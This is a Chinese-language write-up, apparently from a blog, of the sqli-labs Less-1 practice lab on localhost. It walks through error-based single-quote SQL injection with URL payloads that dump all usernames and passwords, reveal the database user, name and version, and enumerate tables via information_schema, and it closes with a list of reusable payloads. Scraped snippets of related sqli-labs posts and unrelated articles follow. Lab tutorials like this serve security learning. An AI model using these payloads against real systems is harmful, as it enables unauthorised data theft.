一、第一次见面

1.初识

http://localhost/Less-1/

提示输入id,因此访问http://localhost/Less-1/?id=1

可以继续测试id=2.3.4等的情况,会输出不同的用户名和密码

2.进一步了解

每一次都会有不同的账号密码出来,当然肯定不能这样简单的访问。

既然题目说了存在单引号的错误,那就来试一下http://localhost/Less-1/?id=%27

没毛病报错了,说明单引号会被算入sql语句中

假设一下,这个sql语句是这样构造的:

$sql = "SELECT * FROM USER WHERE `id` = '$_GET["id"]'  LIMIT 0,1;

如果我们的假设成立,那只要将单引号补全,然后就可以在后面添加自己的查找条件了,试一下。

只返回一条数据,很气人,可能只显示查询结果的第一条数据。

尝试一下永真式,1=1,‘1’=‘1’等。

关键的步骤是我们闭合自带的单引号并且在后面添加自己的语句,注释掉后面没用的语句。

对于注释我们使用

1.编码过的#也就是%23,因为#在html中是锚的意思,可以理解为标签,所以不会自动编码,需要手动编码

2.--与空格,但是空格在url中会被屏蔽,所以使用+代替,也就是--+或者--%20

二、动点小心思

1.我们想要一次性取出多个用户名和密码

所以构造http://localhost/Less-1/?id=1' or id=2 --+

但是我们发现只会返回一个用户名,所以我们猜测这里只会返回搜索到的所有结果的第一条(后来通过查看源码可以知道,真的是这样)

那么我们想,如果第一个结果数据为空,那么是不是就可以返回我们想要的第二条数据。

所以构造http://localhost/Less-1/?id=-1' or id=2 --+

果真返回了第二条数据。

如何查看这个user表中有几列呢?不知道列名。

我们通过排序,按照某一列排序,如果报错说明没有这一列

http://localhost/Less-1//?id=1' order by 4 %23

当按第四列排序时候出错,所以只有三列

可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息

但是我们需要一次性获取多个用户名和密码,那么久用到了group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成。

意思就是说,一次只返回一个字符串的话,我们可以用这个函数把很多个结果合并成一个字符串一次性输出

构造http://localhost/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --+

成功一次性返回所有的用户名和密码。

3. 有点太好奇

我们还是不满足,我们还想知道这个数据库名,用户名,数据库版本信息,那怎么办?

concat_ws():从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符

char():将十进制ASCII码转化成字符

user():返回当前数据库连接使用的用户

database():返回当前数据库连接使用的数据库

version():返回当前数据库的版本

虽然不太会sql语句,但是看他列出的几个重要函数,大体的意思也就有了,看样子想要通过concat_ws()函数一次性取出多个数据然后合并成一条数据传出来破解对传出数据条数的限制。要获取的重要数据有数据库用户名、数据库名、数据库版本。。。

构建http://localhost/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23

数据库的一些基本信息就出来了,用户root,数据库名security。

三、不知羞耻,竟想看穿所有?

我们满足吗?

不满足!!

我们想要知道所有的信息,所有的库名、表名、列名等等。。。

先来学习一下

首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表:

SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

TABLES:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。是show columns from schemaname.tablename的结果取之此表。

我们想要了解所有信息,就要从这些信息下手,一步步脱光。。。脱裤。。。库。。。

接下在使用union来获取各种信息。

可以通过LIMIT来获取

http://localhost/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 LIMIT 3,3 %23

注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。

security的十六进制转换是:0x7365637572697479

16进制转换地址:http://www.bejson.com/convert/ox2str/

好了学会了union和group_concat()了,试一下

http://localhost/Less-1/?id=-1' union select 1,2,group_concat(char(32),table_name,char(32)) from information_schema.tables %23

这都返回了些啥??

加一个where筛选

http://localhost/Less-1/?id=-1' union select 1,2,group_concat(char(32),table_name,char(32)) from information_schema.tables   where table_schema=0x7365637572697479  %23

表名都出来了,那就看一些每个表里面都有啥

补充:

URL字符转义

用其它字符替代吧,或用全角的。

+    URL 中+号表示空格                                 %2B

空格 URL中的空格可以用+号或者编码           %20

/   分隔目录和子目录                                     %2F

?    分隔实际的URL和参数                             %3F

%    指定特殊字符                                          %25

#    表示书签                                                  %23

&    URL 中指定的参数间的分隔符                  %26

=    URL 中指定参数的值                                %3D

总结

提前写好一些常用的查询重要数据的sql语句

1. 查询用户名,数据库名,数据库版本信息:

union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23

2. 查询一个库中所有的表的名字

union select group_concat(char(32),table_name,char(32)) from information_schema.tables   where table_schema=0x7365637572697479  %23

注意。在系统自带的表中查东西,where后面的值应该是单引号包裹或者16进制编码,通常用16进制

3. 查询一个表中所有列的名字

union select group_concat(char(32),table_name,char(32)) from information_schema.COLUMNS   where table_schema=0x7365637572697479  %23

sqli-lab 第一题 单引号 error based single quotes的更多相关文章

  1. 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

    实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') ...

  2. 【sqli-labs】 less1 GET - Error based - Single quotes - String(GET型基于错误的单引号字符型注入)

    GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面li ...

  3. 【sqli-labs】 less8 GET - Blind - Boolian Based - Single Quotes (基于布尔的单引号GET盲注)

    加单引号 没有任何信息输出 加and 页面变化,不正常是没有任何回显 http://localhost/sqli/Less-8/?id=1' and '1'='1 http://localhost/s ...

  4. 【sqli-labs】 less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)

    错误不回显了 构造永真登陆 登陆成功了 虽然登陆成功了,但是数据库的数据还么有爆出来 构造一下用户名 ' or length(database())=8# 如果数据库名的长度不等于8,登陆会失败 猜测 ...

  5. 【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

    提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" ...

  6. 【sqli-labs】 less11 POST - Error Based - Single quotes- String (基于错误的POST单引号字符型注入)

    查看源码,用户名和密码通过post提交 加单引号提交 出现报错,推测对应的SQL语句 , 直接使用or构造永真登录 成功,注意此处登录的用户为表中的第一个用户 需要改变用户可以通过改变筛选条件实现 作 ...

  7. 【sqli-labs】 less9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

    加and http://localhost/sqli/Less-9/?id=1' and '1'='1%23 http://localhost/sqli/Less-9/?id=1' and '1'=' ...

  8. SQLi Lab的视频教程和文字教程

    SQLi Lab 系列的文字和视频(需要FQ),讲解的很好 SQLi Lab Series - Introduction SQLi Lab Series - Error Based SQLi Lab ...

  9. awk中引用变量使用单引号''

    举例如下 who命令输出第一列 (1)第一种情况不使用引号 # i=1;who | awk '{print $${i}}' 输出如下: awk: {print $${i}} awk:          ...

随机推荐

  1. [poj2002]Squares_hash

    Squares poj-2002 题目大意:在笛卡尔坐标系中给出n个点,求这些点可以构成多少个正方形. 注释:$1\le n\le 10^3$,$-2\cdot 10^3\le x , y\le 2\ ...

  2. 利用CSS3制作网页动画

    如何在网页中实现动画效果动态图片 flashjavascriptcss3变形是一些效果的集合如平移 旋转 缩放 倾斜效果每个效果都可以称为变形(transfrom) 它们可以分别操控元素发生平移.旋转 ...

  3. lua 二维数组创建

    local arr= {} for i=1, 4 do arr[i] = {} end 使用时可以直接使用arr[i][j]

  4. 利用jmeter进行数据库测试

    1.首先,用jmeter进行数据库测试之前,要把oracle和mysql的JDBC驱动jar包放到jmeter安装路径的lib目录下,否则会提示错误 2.添加一个线程组,如下图 3.接下来添加一个JD ...

  5. 201621123057 《Java程序设计》第3周学习总结

    1. 本周学习总结 初学面向对象,会学习到很多碎片化的概念与知识.尝试学会使用思维导图将这些碎片化的概念.知识点组织起来.请使用工具画出本周学习到的知识点及知识点之间的联系.步骤如下: 1.1 写出你 ...

  6. 实验二Java面向对象程序设计实验报告(2)

    实验二 Java面向对象程序设计 实验概述: 课程:程序设计与数据结构 班级:1623班 姓名: 邢天岳 学号:2309 指导老师:娄老师 王老师 实验日期:2017.4.16 实验名称: Java面 ...

  7. sqlserver之排序规则和ETL不支持sqlserverdatetime2的问题

    sqlserver的排序规则大概分为Windows 排序规则和 SQL Server 排序规则.数据在安装的时候,默认不设置会默认为SQL_Latin1_General_CP1_CI_AI.数据库在创 ...

  8. 第四十八条:如果需要精确的答案,请避免使用float和double

    让一个float或者double精确的表示0.1或者10的任何负数次方值都是不可能.float和double它们执行二进制浮点运算, 它们是为了在广泛的数值范围上提供较为精确的快速近似计算而精心设计的 ...

  9. Struts2之配置文件中Action的详细配置

    在Struts2之配置一文中,我们知道一个struts配置文件可以分为三部分:常量配置    包含其他配置文件的配置    Action配置  . 这其中 常量配置  和 包含其他配置文件的配置  二 ...

  10. JAVA_SE基础——6.标识符&关键字

    学会写helloworld之后,  我们就开始来认识标识符&关键字 一.标识符 标识符是指可被用来为类.变量或方法等命名的字符序列,换言之,标识符就是用户自定义的名称来标识类.变量或方法等.更 ...